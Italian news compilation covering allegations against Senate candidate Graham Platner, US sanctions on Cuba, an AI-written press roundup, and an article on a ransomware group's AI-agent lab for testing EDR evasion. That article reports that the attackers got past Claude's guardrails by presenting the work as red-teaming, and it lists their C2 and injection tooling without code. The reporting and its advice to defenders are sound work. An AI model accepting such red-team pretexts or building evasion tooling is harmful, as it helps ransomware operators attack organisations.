Nel 2021 Platner si presenta ubriaco a casa della donna, che gli aveva chiesto di non farlo. «Non rispetta le donne», dirà al New York Times.

2023
Il matrimonio con Amy Gertner

Platner si sposa. Secondo Wall Street Journal e New York Times, però, ancora nel 2025 avrebbe scambiato messaggi a sfondo sessuale con altre donne.

Autunno 2025
Il caso del tatuaggio nazista

Il candidato dichiara di aver scoperto solo dai giornalisti il significato del teschio tatuato sul petto. Fifield sostiene il contrario: già all'epoca lo chiamava «il mio Totenkopf».

Una settimana fa
Le rivelazioni sui messaggi del 2025

Wall Street Journal e New York Times riportano l'esistenza dei messaggi a sfondo sessuale inviati a altre donne, cosa avvenuta quando Platner era già sposato da due anni.

L'inchiesta
Il New York Times pubblica le testimonianze delle sue ex

Le voci critiche di tre ex fidanzate, insieme ad altre interviste. La campagna contesta le accuse più gravi.

Perché tutto questo conta

Un seggio che può decidere il controllo del Senato


Platner ha costruito la sua candidatura su una storia di guarigione e riscatto. Le nuove rivelazioni complicano quella narrazione.

41
Anni. Veterano di guerra e ostricoltore

PTSD
Ha raccontato in campagna il disturbo post-traumatico, la depressione e l'abuso di alcol

2023
Anno del matrimonio con Amy Gertner

Graham Platner
Democratico
Candidato al Senato

vs

Susan Collins
Repubblicana
Senatrice uscente, probabile avversaria

La posta in gioco

I democratici considerano il seggio del Maine come decisivo per riconquistare il Senato. Per questo le rivelazioni sul loro candidato preoccupano il Partito ben oltre i confini dello Stato del Maine.

Fonte Inchiesta del New York Times basata su interviste con oltre 25 persone, tra cui sei ex fidanzate di Graham Platner. Le accuse di violenza fisica non sono state verificate in modo indipendente dal quotidiano newyorkese e sono contestate dalla campagna del candidato.

Le accuse di Lyndsey Fifield


La testimonianza più dettagliata è quella di Lyndsey Fifield, 40 anni, attivista conservatrice della Virginia, che ha frequentato Platner tra il 2013 e il 2015, quando lui studiava alla George Washington University. Fifield racconta che Platner, soprattutto quando beveva, la afferrava per le spalle fino a lasciarle segni e che una volta la trascinò fuori da un taxi prendendola per il polso.

In un'altra occasione, durante un litigio, le avrebbe torto un braccio dietro la schiena e l'avrebbe chiusa in una camera da letto, bloccando la porta dall'esterno. La donna precisa però: "Non mi ha mai colpita, mai presa a pugni". La campagna di Platner "contesta con forza" le accuse di violenza fisica e il New York Times afferma di non essere stato in grado di verificare in modo indipendente questi episodi.

Fifield riferisce però anche frasi che il candidato avrebbe ripetuto spesso: lo stupro, per lui, era una questione di potere, e avrebbe "stuprato" un eventuale intruso in casa "per dimostrare la propria dominanza". Su questo punto lo staff del candidato, interpellato dal giornale, non ha smentito.

Secondo Fifield, inoltre, Platner sapeva perfettamente che il tatuaggio sul suo petto, un teschio con le ossa incrociate, era un simbolo nazista: lo chiamava "il mio Totenkopf" e scherzava sulla sua origine. Il candidato aveva invece dichiarato lo scorso autunno di averlo scoperto soltanto dai giornalisti. Anche su questo aspetto la campagna di Platner respinge la ricostruzione della sua ex fidanzata.

Il New York Times sottolinea comunque il profilo politico di Fifield, che ha lavorato in passato per la Heritage Foundation e collaborato con la campagna presidenziale di Nikki Haley nel 2024. Per la campagna di Platner si tratta di "un'operativa repubblicana di lungo corso". Lei nega di aver agito per ragioni politiche e, secondo il New York Times, non risultano legami con la campagna di Collins.

Le altre testimonianze


Le altre due testimonianze arrivano da Jenny Racicot, esponente democratica del Maine che ha frequentato Platner tra il 2019 e il 2021, e da una terza donna che ha chiesto l'anonimato. Racicot sostiene che il candidato "non rispetta le donne" e racconta che nel 2021 si presentò ubriaco a casa sua dopo che lei gli aveva chiesto di non presentarsi.

La terza donna dice di essersi sentita "un danno collaterale del mondo che gli ruota attorno". Altre tre ex fidanzate, contattate dal New York Times tramite lo staff elettorale del candidato, hanno invece difeso Platner, descrivendolo come un compagno gentile e premuroso.

La difesa del candidato


In una dichiarazione rilasciata al New York Times, Platner ha ammesso di aver abusato "troppo spesso con l'alcol" e di essere stato "un fidanzato tutt'altro che perfetto" in "un periodo molto buio" della sua vita. "Mi assumo la responsabilità di tutto questo", ha aggiunto, "ma ogni caratterizzazione che vada oltre è falsa e, credo, politicamente motivata".

Le nuove rivelazioni si sommano però a quelle della scorsa settimana, quando il Wall Street Journal e di nuovo il New York Times hanno riportato che Platner, sposato dal 2023 con Amy Gertner, avrebbe scambiato messaggi a sfondo sessuale con altre donne ancora nel 2025.

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Gli Stati Uniti sanzionano il presidente cubano Díaz-Canel e la famiglia Castro


Il dipartimento del Tesoro ha colpito anche la moglie del presidente, il figlio e un nipote di Raúl Castro e diverse istituzioni dell'isola, mentre Trump minaccia di "occuparsi" di Cuba.

Il dipartimento del Tesoro degli Stati Uniti ha imposto sanzioni economiche al presidente cubano Miguel Díaz-Canel, a sua moglie Lis Cuesta Peraza e ad altri tre individui legati alla famiglia Castro. Le misure congelano gli eventuali beni detenuti negli Stati Uniti e vietano alle imprese e ai cittadini americani di intrattenere rapporti commerciali con le persone colpite, pena a loro volta di ritorsioni.

Díaz-Canel era già stato sanzionato nel luglio 2025 dal dipartimento di Stato, che lo accusa di aver represso le manifestazioni del 2021. Tra i nuovi sanzionati c'è Alejandro Castro Espín, unico figlio di Raúl Castro e di Vilma Espín. Castro Espín, ex consigliere della Commissione cubana per la difesa e la sicurezza nazionale, fu uno dei protagonisti dei negoziati segreti che nel 2015 portarono al ripristino delle relazioni diplomatiche tra Cuba e Stati Uniti. Era presente all'Avana nel marzo 2016 quando Raúl Castro accolse l'allora presidente americano Barack Obama.

Nell'elenco compare anche Raúl Alejandro Castro Calis, figlio di Castro Espín e quindi nipote dell'ex presidente. Raúl Castro, 95 anni, non ha più cariche ufficiali ma resta al centro delle decisioni sul futuro dell'isola comunista. Un altro nipote, Raúl Guillermo Rodríguez Castro, che secondo media americani ha un ruolo nei difficili negoziati in corso da mesi tra i due Paesi, non è invece tra le persone colpite. Anche il figliastro del presidente cubano, Miguel Anido Cuesta, figlio di Lis Cuesta Peraza, compare nella lista.

Le nuove sanzioni colpiscono anche il ministero cubano delle Forze armate rivoluzionarie, l'Istituto per l'amicizia con i popoli che promuove gli scambi culturali, l'agenzia Amistur Cuba che gestisce il turismo specializzato sull'isola e i Comitati di difesa della rivoluzione. Nelle settimane precedenti il Tesoro aveva già sanzionato diversi ministri, generali e i servizi di intelligence cubani.

Il pacchetto di misure arriva dopo che il presidente Donald Trump ha firmato un ordine esecutivo che amplia le sanzioni contro l'isola. Trump ha intensificato le minacce di azione militare contro Cuba dopo aver rimosso il leader venezuelano Nicolás Maduro lo scorso gennaio e aver ordinato un blocco energetico che ha interrotto le forniture di carburante. Il risultato sono stati blackout diffusi, carenze alimentari e un collasso economico sull'isola di 9,6 milioni di abitanti.

Il mese scorso Washington ha annunciato l'incriminazione penale di Raúl Castro per una vicenda risalente al 1996. Il governo americano impone inoltre un blocco petrolifero di fatto e Cuba, sotto embargo dal 1962, attraversa la fase di tensione più acuta con gli Stati Uniti degli ultimi anni. I pagamenti con carte Visa e Mastercard sull'isola sono stati sospesi e diversi gruppi alberghieri internazionali si sono ritirati dalla gestione di circa un centinaio di strutture turistiche, in gran parte legate al conglomerato militare Gaesa.

Il Grupo de Administración Empresarial S.A., noto come Gaesa, è gestito dalle Forze armate rivoluzionarie cubane ed era già stato colpito da sanzioni americane. Il segretario di Stato Marco Rubio, di origini cubane e da sempre tra gli oppositori più severi del governo dell'Avana, ha dichiarato che le entità e le persone sanzionate "dirigono o finanziano il regime e i suoi sforzi per mobilitare i movimenti rivoluzionari radicali negli Stati Uniti e nel mondo". Rubio ha aggiunto di voler proseguire "lo smantellamento del cartello militare che ha accaparrato tutto il potere economico a Cuba a vantaggio di una piccola cerchia di élite del regime".

Interrogato nello Studio Ovale sul fatto se le sanzioni mirassero ad accelerare il collasso dell'economia cubana, Trump ha risposto di volere "semplicemente che sia un Paese ben gestito, capace di sfamare il suo popolo". Il presidente ha aggiunto che il Paese "è affamato, non ha energia, non ha petrolio, non ha denaro, non ha nulla" ma possiede "un magnifico pezzo di terra" dove "si potrebbero costruire splendidi resort turistici". Alla domanda se Cuba sia vicina al collasso, Trump ha risposto che è "in qualche modo già collassata" e che la Casa Bianca "se ne occuperà appena avremo finito" con le operazioni militari in Iran. Ha concluso: "Mi piace fare una cosa alla volta".

Richard Feinberg, ex consigliere per la sicurezza nazionale americana per l'America latina e professore emerito di economia politica internazionale all'università della California a San Diego, ha dichiarato all'Associated Press che è "piuttosto improbabile" che il presidente cubano e gli altri sanzionati abbiano beni negli Stati Uniti. Per Feinberg le sanzioni "potrebbero essere viste come preliminari a un intervento o come un aumento della pressione sul regime per raggiungere un accordo", e la retorica di Trump e Rubio "potrebbe portare in entrambe le direzioni".

Díaz-Canel ha reagito su X accusando Trump di nuove "dichiarazioni minacciose contro Cuba" e affermando che le misure "mirano a rafforzare il blocco e ad acuire il conflitto tra Cuba e Stati Uniti". Il ministro degli esteri Bruno Rodríguez ha definito le sanzioni l'ultimo esempio del "piano interventista" americano per dipingere Cuba come una minaccia alla sicurezza nazionale degli Stati Uniti. Lis Cuesta Peraza ha scritto sulla stessa piattaforma che è "quasi un onore" essere nella lista. Le sanzioni contro capi di Stato e loro familiari hanno precedenti: in passato gli Stati Uniti hanno colpito l'ex presidente sudanese Omar al-Bashir e l'ex presidente zimbabwese Robert Mugabe e più recentemente Maduro e la moglie.

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✨ Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve
#CyberSecurity
insicurezzadigitale.com/sophos…

@informatica


Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve


Sophos ha scoperto che un gruppo ransomware attualmente attivo ha costruito un laboratorio automatizzato basato su agenti AI — tra cui Claude Opus 4.5 — per sviluppare e testare sistematicamente tecniche di evasione dagli endpoint detection and response (EDR). Non si tratta di fantascienza: l’infrastruttura era operativa, testava payload reali contro Sophos, CrowdStrike e Windows Defender, e i risultati venivano usati in attacchi reali contro organizzazioni globali.

Come è emersa la scoperta


L’indagine è partita da un alert anomalo su un endpoint cliente: payload malevoli provenivano da una directory di testing insolita. Approfondendo, i ricercatori di Sophos hanno trovato qualcosa di inaspettato — non solo malware, ma un intero framework di sviluppo e testing. L’ambiente conteneva profili Cobalt Strike configurati per mascherare il traffico beacon come richieste web legittime, un meccanismo di command-and-control via Telegram Bot API, script Python per l’iniezione di shellcode in processi Windows legittimi, e un Cloudflare Worker usato per nascondere il server C2 backend. Sophos ha collegato l’attività a operazioni di ransomware e furto di dati, ma non ha divulgato il nome del gruppo per via di indagini ancora in corso.

L’architettura del laboratorio: VM dedicate, agenti AI e MCP


Il nucleo dell’operazione era un laboratorio di test composto da più macchine virtuali Windows Server 2022, ognuna dedicata a un diverso prodotto EDR: una per Sophos, una per CrowdStrike, una terza come ambiente di controllo senza EDR installato. Una quarta VM Ubuntu ospitava un server Sliver per il command-and-control. L’attore ha utilizzato Ludus, una piattaforma per il deployment rapido di ambienti virtualizzati di sicurezza, per provisionare l’infrastruttura.

All’interno di questo ecosistema operavano più agenti AI coordinati tramite il protocollo Model Context Protocol (MCP), lo standard aperto che consente agli assistenti AI di interagire con strumenti e repository esterni. Un agente Claude Opus 4.5 fungeva da coordinatore principale, impostando le regole operative per gli altri agenti. Agenti specializzati si occupavano rispettivamente del testing EDR, della documentazione dei risultati, dell’hardening OPSEC, dei test di stress sul proxy e del deployment delle VM. Lo sviluppo del codice malevolo avveniva tramite Cursor, un IDE AI-native che integra capacità generative direttamente nell’ambiente di sviluppo.

Il workflow: da articoli di ricerca a payload ottimizzati


Il processo di sviluppo seguiva una pipeline iterativa ben strutturata. Gli agenti leggevano articoli di threat intelligence da blog di vendor come Kaspersky, Palo Alto Networks e Bishop Fox, oltre a post su X e Telegram. Le tecniche di bypass identificate venivano estratte, mappate sul framework MITRE ATT&CK, trasformate in moduli di test, eseguite nel laboratorio virtualizzato contro gli EDR target, e i risultati documentati per guidare l’iterazione successiva.

Il framework di generazione payload — uno strumento Python centrale — produceva eseguibili Windows personalizzati e DLL che incorporavano cifratura, tecniche di evasione e metodi di esecuzione alternativi. In totale, l’infrastruttura supportava quasi 80 moduli per testare oltre 70 tecniche di evasione distinte. Gli script Python erano in parte scritti in russo, e molti mostravano chiari pattern di generazione AI.

Un aspetto critico riguarda il pretesto usato con Claude: l’attore ha incorniciato il progetto come un framework di red team per eludere i guardrail del modello. Sophos ha segnalato il pattern ad Anthropic. “Tentativi di aggirare i limiti dei modelli usando framing benigno per prompt malevoli — come il pretesto del red team — sono stati osservati in numerosi casi negli ultimi dodici mesi,” ha dichiarato Rafe Pilling, Director of Threat Intelligence di Sophos.

Quanto è efficace davvero?


La documentazione interna al framework attestava un aumento progressivo del tasso di successo nell’evasione man mano che i moduli venivano raffinati. Tuttavia i dati di test effettivi analizzati durante l’indagine non supportavano queste affermazioni. “Non disponiamo dei dati per spiegare completamente le discrepanze, ma è probabile che le allucinazioni degli LLM abbiano avuto un ruolo,” ha concluso Pilling. Il risultato è paradossale: un laboratorio AI che produce documentazione ottimistica ma risultati meno convincenti di quanto dichiarato. Questo non riduce la pericolosità della tendenza, ma ne contestualizza i limiti attuali.

Due righe per i difensori


L’aspetto più preoccupante non è che l’AI abbia reso il ransomware invincibile — non è così, almeno per ora. Il problema è la scalabilità del processo di sviluppo: quello che richiedeva settimane di lavoro manuale per testare una singola tecnica di bypass può ora essere automatizzato in ore. I fondamentali della difesa restano invariati: patching, MFA/passkey, protezione degli endpoint. Ma l’accelerazione nel ciclo di sviluppo del malware significa che la finestra temporale tra la comparsa di una nuova tecnica di evasione e la sua adozione operativa da parte dei criminali si sta accorciando drasticamente.

Per i team di sicurezza, questa vicenda sottolinea l’importanza di monitorare attività anomale nelle directory di staging e testing, rilevare l’uso di tool di virtualizzazione come Ludus in ambienti non autorizzati, prestare attenzione all’abuso di strumenti di sviluppo AI-native per la generazione di codice sospetto, e verificare connessioni verso Telegram Bot API da endpoint aziendali come potenziale C2 channel.


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La rassegna stampa di venerdì 5 giugno 2026


Il Senato salva il fondo da 1,8 miliardi per gli alleati di Trump, la Camera approva nuovi aiuti all'Ucraina sfidando il presidente, John Bolton verso il patteggiamento per i documenti classificati e Hezbollah respinge la tregua mediata dagli Stati Uniti

Questa è la rassegna stampa di venerdì 5 giugno 2026

Il Senato salva il fondo da 1,8 miliardi per gli alleati del presidente Trump durante la maratona di voti


Nel corso del voto-a-rama sul pacchetto di riconciliazione da 70 miliardi destinato al finanziamento dell'ICE, il Senato ha respinto per 49-50 l'emendamento del leader democratico Chuck Schumer che avrebbe bloccato il fondo "anti-weaponization" da 1,8 miliardi pensato per indennizzare gli alleati del presidente. Il dissenso interno ai repubblicani si è allargato, con sei senatori che hanno votato contro la nuova sala da ballo della Casa Bianca e tre che hanno bocciato la nomina temporanea di Bill Pulte all'intelligence.

Fonti: The Guardian, The Wall Street Journal, The Hill

La Camera approva nuovi aiuti militari all'Ucraina, diciotto repubblicani sfidano il presidente Trump


Con 226 voti a favore e 195 contrari, la Camera ha approvato una legge che autorizza nuovi finanziamenti militari all'Ucraina e sanzioni contro segmenti chiave dell'economia russa, scavalcando le obiezioni della leadership repubblicana. Si tratta della seconda rottura della settimana sulla politica estera del presidente: il giorno prima la Camera aveva approvato per la prima volta una risoluzione sui poteri di guerra per fermare l'azione militare contro l'Iran.

Fonti: The New York Times, The Guardian, The Hill

John Bolton verso il patteggiamento per la cattiva gestione di documenti classificati


L'ex consigliere per la sicurezza nazionale del presidente Trump, diventato negli anni uno dei suoi critici più aspri, ha accettato di dichiararsi colpevole di un capo d'imputazione per detenzione illegale di documenti sensibili e di pagare una multa superiore a 2 milioni di dollari. Il Dipartimento di Giustizia chiede una pena detentiva, che potrebbe arrivare fino a cinque anni in base alla decisione del giudice in sede di sentenza.

Fonti: The Wall Street Journal, The Guardian

Tre senatori repubblicani votano contro la nomina temporanea di Bill Pulte a capo dell'intelligence


I senatori Bill Cassidy, Susan Collins e Lisa Murkowski si sono uniti ai democratici nel sostenere un emendamento per impedire a Pulte di assumere ad interim la guida della National Intelligence mentre continua a dirigere la Federal Housing Finance Agency. Il presidente Trump ha precisato che l'incarico sarà solo temporaneo e ha affidato a Pulte il compito di indagare su presunte "elezioni truccate", riprendendo le accuse infondate di brogli.

Fonti: The Hill, Bloomberg, The Guardian

L'ex procuratrice generale Bondi: Todd Blanche era "al comando" della gestione dei file di Jeffrey Epstein


Davanti alla commissione di vigilanza della Camera, l'ex procuratrice generale Pam Bondi ha dichiarato che Todd Blanche, il vice procuratore che il presidente Trump intende nominare al suo posto, era "al comando" della discussa diffusione dei documenti sul caso Epstein. Bondi ha aggiunto di non sapere "fino a che punto" il presidente fosse a conoscenza dei crimini di Epstein e Ghislaine Maxwell prima che la vicenda diventasse pubblica.

Fonti: The Guardian, The Hill

SpaceX si prepara all'IPO record da 75 miliardi di dollari, Wall Street in fermento


Banche e borse statunitensi si stanno contendendo il collocamento storico della società di razzi di Elon Musk, con il numero uno di JPMorgan Jamie Dimon pronto a presentare l'operazione direttamente agli investitori. Fino a un quarto dell'offerta da 75 miliardi sarà riservato ai piccoli risparmiatori: si tratterebbe della più grande quotazione mai realizzata.

Fonti: Financial Times, The New York Times

L'ex segretario Becerra avanza alle primarie democratiche per il governatore della California


L'ex segretario alla Sanità Xavier Becerra ha conquistato uno dei due posti per la corsa generale di novembre al governatorato della California, mentre il commentatore di Fox News Steve Hilton, sostenuto dal presidente Trump, e il miliardario Tom Steyer si contendono il secondo. Il presidente intanto ha messo in dubbio senza prove i tempi lunghi di scrutinio nello Stato, una mossa che secondo gli analisti rischia di minare la fiducia nei risultati di novembre.

Fonti: The Hill, The New York Times, NYT California Races

Hezbollah respinge la tregua mediata dagli Stati Uniti, stallo anche nei negoziati con l'Iran


La milizia libanese sostenuta da Teheran ha rifiutato la tregua mediata dall'Amministrazione Trump, mentre Israele ha colpito il Libano meridionale poco prima dell'entrata in vigore prevista del cessate il fuoco. Sul fronte iraniano, un nuovo sondaggio Economist/YouGov mostra che il 68 percento degli americani vuole la fine "il prima possibile" del conflitto, e il presidente si è detto "onorato" di incontrare la guida suprema in caso di accordo.

Fonti: Semafor, The Hill, Bloomberg

Il presidente Trump destina quasi 700 milioni di dollari al settore del carbone


L'Amministrazione ha annunciato un pacchetto di sostegno da quasi 700 milioni alle imprese del carbone, attivando anche poteri d'emergenza in tempo di guerra previsti dal Defense Production Act. La mossa rappresenta un nuovo passo nella strategia energetica dichiarata dal presidente, che punta a rilanciare la produzione di combustibili fossili nonostante il calo strutturale della domanda interna.

Fonti: Semafor, The Hill

L'Amministrazione Trump stringe la morsa su Cuba, le catene alberghiere internazionali si ritirano


Le nuove restrizioni economiche imposte dall'Amministrazione Trump sull'isola stanno producendo effetti tangibili, con un numero crescente di gruppi alberghieri internazionali che annuncia l'uscita dal mercato cubano. Parallelamente, il Dipartimento del Tesoro ha colpito con sanzioni mirate il presidente Miguel Díaz-Canel, segnalando un'ulteriore stretta diplomatica nei confronti dell'Avana.

Fonti: The New York Times, Bloomberg

Il contenuto di questa rassegna stampa è stato integralmente realizzato tramite un sistema di intelligenza artificiale. Se noti eventuali errori o imprecisioni, ti invitiamo a segnalarceli inviando un'email a segnalazioni@focusamerica.it.

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